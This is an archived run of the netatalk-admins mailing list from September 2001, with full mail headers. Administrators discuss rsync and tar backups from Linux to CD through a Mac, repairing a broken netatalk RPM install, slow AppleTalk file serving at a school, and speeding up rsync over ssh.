> Does anyone have any pointers to a better solution or advice on what to watch 
> for?  

If you want to keep permissions right, you could go with something like my
solution.  I use a second machine that I rsync (with all the preservation
options) several machines to, then when it's time to make the backups, I
create the cd images on the linux side using mkisofs.  I prefer to use tar
to make archives with a length equivelent to the CD media I'm using (see
tar --tape-length), because I trust tar to keep the file attributes better
than I do mkisof.  I also don't know how to keep mkisofs from truncating >31
char filenames...

Either way, make the cd image on the *nix side, then just burn the image on
whatever burner software you have.  That way you can do the image transfer
using whatever file transfer method you want instead of needing rsync on the
mac.  You really wouldn't need the second machine in the process either.

--Danny

From netatalk.administrators-errors@umich.edu  Thu Sep 13 16:44:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA14905
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 16:44:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA19320
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 16:44:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA19210
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 16:44:20 -0400 (EDT)
Received: from server.floridasunonline.net (user13.net019.fl.sprint-hsd.net [207.30.121.13])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA19168
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 16:44:18 -0400 (EDT)
Received: from progeny (progeny [192.168.1.249])
	by server.floridasunonline.net (8.11.1/8.11.1) with SMTP id f8DKjJr12645;
	Thu, 13 Sep 2001 16:45:39 -0400
From: Jesse <jg@floridasunonline.net>
To: netatalk-admins@umich.edu
Subject: Re: backing up using rsync+netatalk
Date: Thu, 13 Sep 2001 16:43:23 -0400
X-Mailer: KMail [version 1.1.99]
Content-Type: text/plain;
  charset="us-ascii"
References: <01091313451200.00559@progeny> <20010913142433.J7619@newwww.teleologic.net>
In-Reply-To: <20010913142433.J7619@newwww.teleologic.net>
Cc: Danny Sauer <dsauer@teleologic.net>
MIME-Version: 1.0
Message-Id: <01091316432301.00559@progeny>
Content-Transfer-Encoding: 8bit

On Thursday 13 September 2001 15:24, you wrote:
> Jesse wrote regarding 'backing up using rsync+netatalk' on Thu, Sep 13 at 
12:52:
> > I need to back up a yellow dog linux system but do not have a cd-rom
> > burner that is compatible with linux.  We have a cdrom that is attached
> > to a mac machine running OS 9.  The idea I have is to use rsync to copy
> > the entire machine (yellow dog linux) to a netatalk shared folder (on
> > another PC running progeny) and then access the shared folder through the
> > mac and burn backups.
> >
> > I'm very new to macintosh's and fairly new to linux administration.  Is
> > this a feasible strategy?  I'm particularly worried about file permission
> > mangling and any other types of file corruption during the process.
> >
> > Does anyone have any pointers to a better solution or advice on what to
> > watch for?
>
> If you want to keep permissions right, you could go with something like my
> solution.  I use a second machine that I rsync (with all the preservation
> options) several machines to, then when it's time to make the backups, I
> create the cd images on the linux side using mkisofs.  I prefer to use tar
> to make archives with a length equivelent to the CD media I'm using (see
> tar --tape-length), because I trust tar to keep the file attributes better
> than I do mkisof.  I also don't know how to keep mkisofs from truncating
> >31 char filenames...
>
> Either way, make the cd image on the *nix side, then just burn the image on
> whatever burner software you have.  That way you can do the image transfer
> using whatever file transfer method you want instead of needing rsync on
> the mac.  You really wouldn't need the second machine in the process
> either.
>
> --Danny

Thanks Danny!  I didn't even think of that.  Funny how most solutions seem to 
resovle themselves using the basic *nix tools like tar.

Thanks again,
Jesse

From netatalk.administrators-errors@umich.edu  Thu Sep 13 19:08:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA21478
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 19:08:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA16725
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 19:08:20 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA16713
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 19:08:19 -0400 (EDT)
Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA16641
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 19:08:17 -0400 (EDT)
Received: from faxserver ([63.34.212.232]) by mta02.mail.mel.aone.net.au
          with ESMTP
          id <20010913230813.RQRU22650.mta02.mail.mel.aone.net.au@faxserver>;
          Fri, 14 Sep 2001 09:08:13 +1000
Received: from [192.168.1.3] (helo=[192.168.1.3])
	by faxserver with esmtp (Exim 3.12 #1 (Debian))
	id 15hfZu-0001kc-00; Fri, 14 Sep 2001 09:07:26 +1000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 14 Sep 2001 09:07:26 +1000
Subject: Re: problem installing netatalk
From: Nigel Pegram <editor.ac@churchesofchrist.org.au>
To: <wagnerf@unb.br>, netatalk <netatalk-admins@umich.edu>
Message-ID: <B7C7794E.27C6%editor.ac@churchesofchrist.org.au>
In-Reply-To: <NDBBJIJEIJIEPJDAIKHEKELIEAAA.wagnerf@unb.br>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> 
> I'm trying to install netatalk on a Linux Mandrake 7.2, but it did not work.
> First I've tried to install an older version and got these messages:
> 
> [root@SERVER /root]# rpm -i /var/lib/rpm/netatalk-1.4b2asun2.1.3-6.i386.rpm
> warning: The DDP services appear to be present in /etc/services.
> warning: Please check them against services.atalk in the documentation.
> [root@SERVER /root]#
> 
> then I tested it, and it did not work as you can see below:
> 
> [root@SERVER init.d]# ./atalk status
> atalkd is stopped
> [root@SERVER init.d]# ./atalk start
> Starting AppleTalk services: (backgrounded)
> [root@SERVER init.d]# ./atalk status
> atalkd is stopped
> [root@SERVER init.d]#
> 
> Then I've tried a newer version (netatalk-1.5pre2-6.i386.rpm) from the
> RedHat 7.1 CD, but could'n even install it. See the error messages below:
> 
> [root@SERVER /root]# cd /mnt/cdrom/RedHat/RPMS
> [root@SERVER RPMS]# rpm -ivh netatalk*
> error: failed dependencies:
> libcrypto.so.1   is needed by netatalk-1.5pre2-6
> libdb-3.1.so   is needed by netatalk-1.5pre2-6
> 

This looks like you need to install these packages. This may also be the
reason that netatalk is not running, although this is an assumption on my
part.

> Last thing I tried was to uninstall and install a new downloaded one
> (netatalk-1.5pre6-1mdk.i586.rpm) - I guess the "mdk" in the file name has
> something to do with "Mandrake"...
> Anyway, it did not work, because when trying to uninstall the previous, the
> RPM gives me the message that the package is not installed and when trying
> to "RPM -ivh" the new version, it gives me the message that the package is
> already installed...
> 
> [root@SERVER rpm]# rpm -ivh netatalk-1.5pre6-1mdk.i586.rpm
> package netatalk-1.5pre6-1mdk is already installed
> [root@SERVER rpm]# rpm -e netatalk-1.5pre6-1mdk.i586.rpm
> error: package netatalk-1.5pre6-1mdk.i586.rpm is not installed
> [root@SERVER rpm]# rpm -U netatalk-1.5pre6-1mdk.i586.rpm
> package netatalk-1.5pre6-1mdk is already installed
> 
> I think I'm doing something stupid, but don't know what.
> 
> What should I do to get netatalk working?

I use Debian, rather than redhat, but have had the situation where a
partially installed package would not let me reinstall or remove it. If I
remember correctly I had to use an option to allow me to force a downgrade
to allow me to install a working earlier version of the package over the
broken later one. You might want to look at the package tools documentation
to see how to deal with such a problem, get the dependencies sorted out and
then reinstall

HTH
Nigel.
 


From netatalk.administrators-errors@umich.edu  Thu Sep 13 22:20:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA27828
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 22:20:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA24057
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 22:20:12 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA24038
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 22:20:12 -0400 (EDT)
Received: from localhost.localdomain (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA23992
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 22:20:10 -0400 (EDT)
Received: from daemonize.com (gretchen.daemonize.com [63.204.212.189])
	by localhost.localdomain (8.11.2/8.11.2) with ESMTP id f8E2AlM04048
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 19:10:47 -0700
Message-ID: <3BA1694B.1C81A063@daemonize.com>
Date: Thu, 13 Sep 2001 19:19:55 -0700
From: Paul Krohn <pkrohn@daemonize.com>
X-Mailer: Mozilla 4.75C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Netatalk Admins list <netatalk-admins@umich.edu>
Subject: Re: problem installing netatalk
References: <NDBBJIJEIJIEPJDAIKHEKELIEAAA.wagnerf@unb.br>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

This is really an RPM problem, but I spent much more time thatn I should
have realising that to uninstall a package using rpm, you must use the
package name, and not the name of the file containing the package, ie:

rpm --erase netatalk-1.5pre6-1mdk

and not 

rpm --erase netatalk-1.5pre6-1mdk.i586.rpm

Of course, it is still possible to find yourself is a situation where
you get 'is already installed' when you try to install and 'is not
installed' when you try to uninstall. Then try to rebuild your rpm
database, or the --force option.


Wagner Fontes wrote:
<snip>
> [root@SERVER rpm]# rpm -ivh netatalk-1.5pre6-1mdk.i586.rpm
> package netatalk-1.5pre6-1mdk is already installed
> [root@SERVER rpm]# rpm -e netatalk-1.5pre6-1mdk.i586.rpm
> error: package netatalk-1.5pre6-1mdk.i586.rpm is not installed
> [root@SERVER rpm]# rpm -U netatalk-1.5pre6-1mdk.i586.rpm
> package netatalk-1.5pre6-1mdk is already installed
> 
> I think I'm doing something stupid, but don't know what.
> 
> What should I do to get netatalk working?
> 
> Thanks,
> Wagner.
> 
> *******************************************************************
>  Prof.Dr.Wagner Fontes
>                           mailto:wagnerf@unb.br
>                           ICQ 8451728
>                           http://www.geocities.com/WallStreet/6544/
>  Centro Brasileiro de Servicos e Pesquisas em Proteinas - CBSP
>                           http://www.unb.br/cbsp/
> *******************************************************************

From netatalk.administrators-errors@umich.edu  Thu Sep 13 23:33:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA00992
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Sep 2001 23:32:59 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA03061
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Sep 2001 23:32:59 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA03047
	for netatalk.administrators-members@umich.edu; Thu, 13 Sep 2001 23:32:59 -0400 (EDT)
Received: from gator.gasd.k12.pa.us ([192.204.255.2])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA03021
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 23:32:58 -0400 (EDT)
Received: from gator.gasd.k12.pa.us (dap-209-166-135-245.nfas.greensburg-tnt-1.sns234.pa.stargate.net [209.166.135.245])
	by gator.gasd.k12.pa.us (8.10.2/8.10.2) with ESMTP id f8E3Xop21388
	for <netatalk-admins@umich.edu>; Thu, 13 Sep 2001 23:33:51 -0400
Message-ID: <3BA17B45.2355420D@gator.gasd.k12.pa.us>
Date: Thu, 13 Sep 2001 23:36:37 -0400
From: Jesse Smillie <jsmillie@gator.gasd.k12.pa.us>
X-Mailer: Mozilla 4.77 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: NetaTALK mailing list <netatalk-admins@umich.edu>
Subject: Still having speed problems with Netatalk
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I sent in about a week or so ago about this problem and never got an
answer.  In the mean time I tried some slightly different options.  My
whole problem to begin with was that I got the netatalk setup properly
to my knowledge because I am able to see the server, login into it VIA
the chooser, and munipulate files.  The problem is that transfer of
files just isn't fast enough.  The old machines stats aren't important
now I don't think because what I end up rapping that off to was maybe
the PCI bus in the older machine just couldn't handle the network cards
at their full speed (100Mbs.)  I got my hands on another machine which
used to be our proxy server until about two months ago and tried using
it.  Basically it boots off of an IDE Maxtor 12gig drive and all the
files I'm trying to serve are on a 2Gig Quantum SCSI which is set up for
20Mbs per second.  I set the serve up with a custom kernal and also the
100Mbs network card that came with the server (digitial something.)  In
the end it was faster then the original server that I built last week,
however just not fast enough yet.  I tried swapping around network cards
and putting a 3com 905b-TX but it didn't help the problem.  I also
attempted to put 2 3com 905bs in and try to setup some kind of double
route possibley, but I wasn't successful with that because it kept
coming up that it couldn't create the workstation.  In attempting to
actually fill in info in the atalkd.conf file all I ever come up with
was that Net wasn't a proper number.  Right now I'm only getting 10kbs
from the server, which isn't very good considering on my other box in
the high school (ya I work for a school district) I can get about 1Mbs
DLs and uploads through out the building over FTP.  I even went one more
step further in trying out different options as to try and put some of
the database I'm trying to serve (perticularly the part with the
greatest demand) onto a ramdisk using 64megs of PC66 DIMM.  I have
another 128Megs of ram in for the server BTW so I can't see it coming
down to a low mem issue.

Just some quick Stats here:
The server is a PII 233 Mmx with 196Megs of Pc66 DIMMs, 64 Megs
dedicated to a ram disk where I'm holding some of the database files.
The server is running slackware 7.1

The Macs I'm serving to are all Imac DVs with 128Megs of ram, 10gig
drives, OS 9.1 running with of course like all Imacs on board NICs using
apple drivers.

Like I said middle of the way through I work for Gateway School District
in Monroeville PA and what I'm tring to do is serve up a database for
the mac program Reading Counts.  Prior to this attempt it was ran off of
a Netware 5.1 server using prosoft engineerings netware clien which
recently died in which I'd really like to see a linux machine doing this
job!  I seriously don't beleive that a netware server (even using its
native mode) can do anything better then a linux box.  Common someone
help me prove this theory:>

Hopefully I gave enough info, and I'm sorry if I may have over did it.
-Jesse Smillie
jsmillie@gator.gasd.k12.pa.us


From netatalk.administrators-errors@umich.edu  Fri Sep 14 03:52:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA08638
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 03:52:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA29018
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 03:52:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA28999
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 03:52:25 -0400 (EDT)
Received: from orange.csi.cam.ac.uk (orange.csi.cam.ac.uk [131.111.8.77])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA28964
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 03:52:24 -0400 (EDT)
Received: from ih207 (helo=localhost)
	by orange.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1)
	id 15hnla-0004a2-00; Fri, 14 Sep 2001 08:52:02 +0100
Date: Fri, 14 Sep 2001 08:52:02 +0100 (BST)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-X-Sender:  <ih207@orange.csi.cam.ac.uk>
To: Jesse <jg@floridasunonline.net>
cc: <netatalk-admins@umich.edu>
Subject: Re: backing up using rsync+netatalk
In-Reply-To: <01091313451200.00559@progeny>
Message-ID: <Pine.SOL.4.33.0109140831440.12738-100000@orange.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


system RedHat 7.0
I use rsync to backup one large netatalk volume to another netatalk box
with ssh. I have found it works very well and have had to recover all data
once after a controller failed. The following is my attempt run as a cron
job..

/usr/bin/rsync --force --ignore-errors --delete --backup
--backup-dir=/mnt/F/inc/staff/ -av -e ssh user@:xxx.xxx.xxx.xxx
/mnt/35gR/home1/ /mnt/C/staff/

/F/inc/staff I use to store the difference  /C/staff/ is the current
backed redundant store or backup & /mnt/35gR/home1/ is the work I am
backing up. I have found it a little slow over ssh but the volume is
roughly 260gig. I found http://samba.anu.edu.au/rsync/ helpful.

All the best,

Ian.

On Thu, 13 Sep 2001, Jesse wrote:

> I need to back up a yellow dog linux system but do not have a cd-rom burner
> that is compatible with linux.  We have a cdrom that is attached to a mac
> machine running OS 9.  The idea I have is to use rsync to copy the entire
> machine (yellow dog linux) to a netatalk shared folder (on another PC running
> progeny) and then access the shared folder through the mac and burn backups.
>
> I'm very new to macintosh's and fairly new to linux administration.  Is this
> a feasible strategy?  I'm particularly worried about file permission mangling
> and any other types of file corruption during the process.
>
> Does anyone have any pointers to a better solution or advice on what to watch
> for?
>
> TIA,
> Jesse
>
> p.s.  Anyone know how to compile rsync on Mac OS 9 or if a binary is
> available?  I can't seem to find anything anywhere?
>
>


From netatalk.administrators-errors@umich.edu  Fri Sep 14 04:20:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA09475
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 04:20:51 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA10882
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 04:20:51 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA10866
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 04:20:50 -0400 (EDT)
Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA10824
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 04:20:49 -0400 (EDT)
Received: from smtp.netcase.nl (213-84-213-164.adsl.xs4all.nl [213.84.213.164] (may be forged))
	by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id KAA27588;
	Fri, 14 Sep 2001 10:20:47 +0200 (CEST)
Received: from netcase.nl (neptune.netcase.nl [10.0.0.10])
	by smtp.netcase.nl (Postfix) with ESMTP
	id B6E4D1F6A8; Fri, 14 Sep 2001 10:20:46 +0200 (CEST)
Message-ID: <3BA1BDD1.8117AECE@netcase.nl>
Date: Fri, 14 Sep 2001 10:20:33 +0200
From: Nicky Haan <nicky@netcase.nl>
X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Ian Hitchman <ih207@hermes.cam.ac.uk>
Cc: netatalk-admins@umich.edu
Subject: Re: backing up using rsync+netatalk
References: <Pine.SOL.4.33.0109140831440.12738-100000@orange.csi.cam.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Is there a rsync client/server for mac ? and if so, what does it do when i move
files from mac to linux if the filenames arnt something my linuxmachine likes ? i
already have that problem no when i use a program link syncfolders on mac to my
appleshare that files containing / \ * #  : and so on, arnt usable anymore (and yes
i know i should tell our macusers not to do that but i'm already telling them for
over a year and they still are using those filenames .. :(( )

so to resume, is there a rsync client and or server for mac and what does it do
with those file(names)

grtz


Ian Hitchman wrote:

> system RedHat 7.0
> I use rsync to backup one large netatalk volume to another netatalk box
> with ssh. I have found it works very well and have had to recover all data
> once after a controller failed. The following is my attempt run as a cron
> job..
>
> /usr/bin/rsync --force --ignore-errors --delete --backup
> --backup-dir=/mnt/F/inc/staff/ -av -e ssh user@:xxx.xxx.xxx.xxx
> /mnt/35gR/home1/ /mnt/C/staff/
>
> /F/inc/staff I use to store the difference  /C/staff/ is the current
> backed redundant store or backup & /mnt/35gR/home1/ is the work I am
> backing up. I have found it a little slow over ssh but the volume is
> roughly 260gig. I found http://samba.anu.edu.au/rsync/ helpful.
>
> All the best,
>
> Ian.
>
> On Thu, 13 Sep 2001, Jesse wrote:
>
> > I need to back up a yellow dog linux system but do not have a cd-rom burner
> > that is compatible with linux.  We have a cdrom that is attached to a mac
> > machine running OS 9.  The idea I have is to use rsync to copy the entire
> > machine (yellow dog linux) to a netatalk shared folder (on another PC running
> > progeny) and then access the shared folder through the mac and burn backups.
> >
> > I'm very new to macintosh's and fairly new to linux administration.  Is this
> > a feasible strategy?  I'm particularly worried about file permission mangling
> > and any other types of file corruption during the process.
> >
> > Does anyone have any pointers to a better solution or advice on what to watch
> > for?
> >
> > TIA,
> > Jesse
> >
> > p.s.  Anyone know how to compile rsync on Mac OS 9 or if a binary is
> > available?  I can't seem to find anything anywhere?
> >
> >

--
----------------------------------------
Nicky Haan
Unix/Linux Sysadmin / Systems Engineer
NetCASE Interactive Solutions
Dr. Nolenslaan 140
6136 GV Sittard
Netherlands
Tel: +31(0)46 420 1880
Fax: +31(0)46 420 1881
E-Mail: Nicky@netcase.nl
Web: www.netcase.nl
----------------------------------------



From netatalk.administrators-errors@umich.edu  Fri Sep 14 07:19:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA14535
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 07:19:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA26326
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 07:19:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA26308
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 07:19:21 -0400 (EDT)
Received: from mail.unb.br (mail.unb.br [164.41.2.1])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA26258
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 07:19:19 -0400 (EDT)
Received: (from root@localhost)
	by mail.unb.br (8.11.1/8.11.1) id f8E8JbP41903
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 08:19:37 GMT
	(envelope-from wagnerf@unb.br)
Received: from wag ([164.41.95.2])
	by mail.unb.br (8.11.1/8.11.1) with SMTP id f8E8JWb41620
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 08:19:33 GMT
	(envelope-from wagnerf@unb.br)
Reply-To: <wagnerf@unb.br>
From: "Wagner Fontes" <wagnerf@unb.br>
To: <netatalk-admins@umich.edu>
Subject: RE: problem installing netatalk
Date: Fri, 14 Sep 2001 08:18:21 -0100
Message-ID: <NDBBJIJEIJIEPJDAIKHEOEMDEAAA.wagnerf@unb.br>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-AntiVirus: scanned for viruses by AMaViS (http://amavis.org/)

Solution:

Ralph de Rijke sent me a HowTo which completely solved the problem.
Thanks, Ralph!

Nigel, you were right! I had to force a downgrade to remove it.
Paul, it would probably work the way you suggested, but your message arrived
just after I made the downgrade.

Thanks to everyone who replied,
Wagner.


From netatalk.administrators-errors@umich.edu  Fri Sep 14 09:19:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA19373
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 09:19:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA20587
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 09:19:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA20568
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 09:19:46 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA20532
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 09:19:45 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id 179B8466B9; Fri, 14 Sep 2001 08:19:41 -0500 (CDT)
Date: Fri, 14 Sep 2001 08:19:41 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Cc: Ian Hitchman <ih207@hermes.cam.ac.uk>
Subject: Re: backing up using rsync+netatalk
Message-ID: <20010914081941.A22368@newwww.teleologic.net>
References: <01091313451200.00559@progeny> <Pine.SOL.4.33.0109140831440.12738-100000@orange.csi.cam.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <Pine.SOL.4.33.0109140831440.12738-100000@orange.csi.cam.ac.uk>; from ih207@hermes.cam.ac.uk on Fri, Sep 14, 2001 at 08:52:02AM +0100
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

Ian wrote regarding 'Re: backing up using rsync+netatalk' on Fri, Sep 14 at 03:00:
> 
> system RedHat 7.0
> I use rsync to backup one large netatalk volume to another netatalk box
> with ssh. I have found it works very well and have had to recover all data
> once after a controller failed. The following is my attempt run as a cron
> job..
> 
> /usr/bin/rsync --force --ignore-errors --delete --backup
> --backup-dir=/mnt/F/inc/staff/ -av -e ssh user@:xxx.xxx.xxx.xxx
> /mnt/35gR/home1/ /mnt/C/staff/
> 
> /F/inc/staff I use to store the difference  /C/staff/ is the current
> backed redundant store or backup & /mnt/35gR/home1/ is the work I am
> backing up. I have found it a little slow over ssh but the volume is
> roughly 260gig. I found http://samba.anu.edu.au/rsync/ helpful.

You might find it noticably faster if you use rsync's -z option to
compress the data.  It might also speed things up some if you go with
the blowfish ciper for ssh (ssh -c blowfish), as it's faster than
the 3des cipher, so your machines will spend less time encrypting/
decrypting and more time spitting data to the wire.  Rsh is even
faster, but then you've gotta deal with the much lower level of
security provided by rsh, which might be OK on a machine that's only
accessible from trusted hosts on a trusted network...

--Danny



From netatalk.administrators-errors@umich.edu  Fri Sep 14 09:38:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA19983
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 14 Sep 2001 09:38:47 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA29692
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 14 Sep 2001 09:38:47 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA29684
	for netatalk.administrators-members@umich.edu; Fri, 14 Sep 2001 09:38:46 -0400 (EDT)
Received: from dmz2.telesciences.com (dmz2.telesciences.com [12.35.246.10])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA29666
	for <netatalk-admins@umich.edu>; Fri, 14 Sep 2001 09:38:45 -0400 (EDT)
Received: from redshank.telesciences.com (redshank.telesciences.com [10.37.10.153])
	by dmz2.telesciences.com (Postfix) with ESMTP
	id 026612C248; Fri, 14 Sep 2001 09:38:45 -0400 (EDT)
Received: (from kindred@localhost)
	by redshank.telesciences.com (8.11.0/8.9.3) id f8EDciH06180;
	Fri, 14 Sep 2001 09:38:44 -0400
From: "David L Kindred (Dave)" <d.kindred@telesciences.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15266.2138.637464.634741@gargle.gargle.HOWL>
